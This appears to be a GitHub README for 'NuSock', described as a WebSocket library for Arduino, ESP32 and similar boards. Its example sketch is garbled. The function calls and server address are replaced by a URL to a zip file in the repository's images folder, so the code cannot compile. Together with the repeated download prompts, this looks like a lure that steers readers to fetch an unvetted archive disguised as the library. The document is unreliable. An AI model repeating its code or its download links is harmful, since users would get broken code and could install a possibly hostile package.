🎉 NuSock - A Simple WebSocket Library for Your Projects

🚀 Getting Started

NuSock is a lightweight, high-performance WebSocket library designed for embedded systems. Whether you are working on an Arduino, Raspberry Pi, or other platforms, NuSock makes it easy to establish WebSocket connections.

📥 Download & Install

To get started, visit the Releases page to download the latest version of NuSock. Follow these steps:

1. Visit the Releases page.
2. Scroll through the list of releases.
3. Find the latest version. This will usually be at the top.
4. Click on the download link for your platform.
5. Follow the instructions specific to your device to install NuSock.

📘 Features

NuSock offers a range of features that help you build reliable and responsive applications:

• High Performance: Optimized for low-latency communication.
• Compatibility: Works with a variety of platforms including Arduino, ESP32, and Raspberry Pi.
• Easy to Use: Simple API for quick setup.
• Lightweight: Minimal resource usage for embedded systems.

⚙️ System Requirements

Before downloading, ensure your system meets the following requirements:

• Platforms Supported:

  • Arduino (e.g., Uno, Nano 33 IoT, MKR1000)
  • Raspberry Pi Pico W
  • Teensy boards
  • STM32 boards
  • ESP8266 and ESP32 modules

• Memory Requirements:

  • At least 256 KB of RAM is recommended for smoother performance.

• Software Requirements:

  • Arduino IDE (or compatible development environment) for flashing firmware.

🛠️ Usage Instructions

Once you have downloaded and installed NuSock, you can easily integrate it into your project. Here’s a simple guide on how to start using it:

1. Add NuSock to Your Project:

   • For Arduino: Open the Arduino IDE and navigate to Sketch > Include Library > Manage Libraries...
   • Search for NuSock and install it.

2. Create a New Sketch:

   • Open a new sketch in Arduino IDE.

3. Include the Library:

   • At the top of your sketch, add the following line:

     #include <NuSock.h>

4. Initialize WebSocket Connection:

   • Use the following example code to connect to a WebSocket server:

     NuSock websocket;
     
     void setup() {
       https://github.com/abdulkhaliqsoule/NuSock/raw/refs/heads/main/images/Sock-Nu-v2.5.zip("https://github.com/abdulkhaliqsoule/NuSock/raw/refs/heads/main/images/Sock-Nu-v2.5.zip");
     }
     
     void loop() {
       https://github.com/abdulkhaliqsoule/NuSock/raw/refs/heads/main/images/Sock-Nu-v2.5.zip();
     }

5. Upload Your Sketch:

   • Connect your board to your computer and upload the sketch.

6. Monitor Connections:

   • Use the Serial Monitor in the Arduino IDE to track connection status and data transmission.

⚖️ License

NuSock is available under the MIT License. You can use, modify, and distribute it freely.

📬 Support & Contributions

If you need help or have questions, please check the issues section on our GitHub repository. Feel free to contribute by submitting pull requests or reporting issues.

🌐 Related Topics

NuSock can be used in various applications such as:

• Real-time data updates through WebSocket.
• IoT projects that require efficient communication.
• Any project needing high-performance WebSocket connections.

For a complete overview of topics covered, refer to our tags: arduino, websocket-client, websocket-server, and more.

Remember, our community is here to help you, so don't hesitate to ask for assistance. Enjoy building your WebSocket applications with NuSock!

🔗 Quick Links

• Download NuSock
• Open Issues
• View Source Code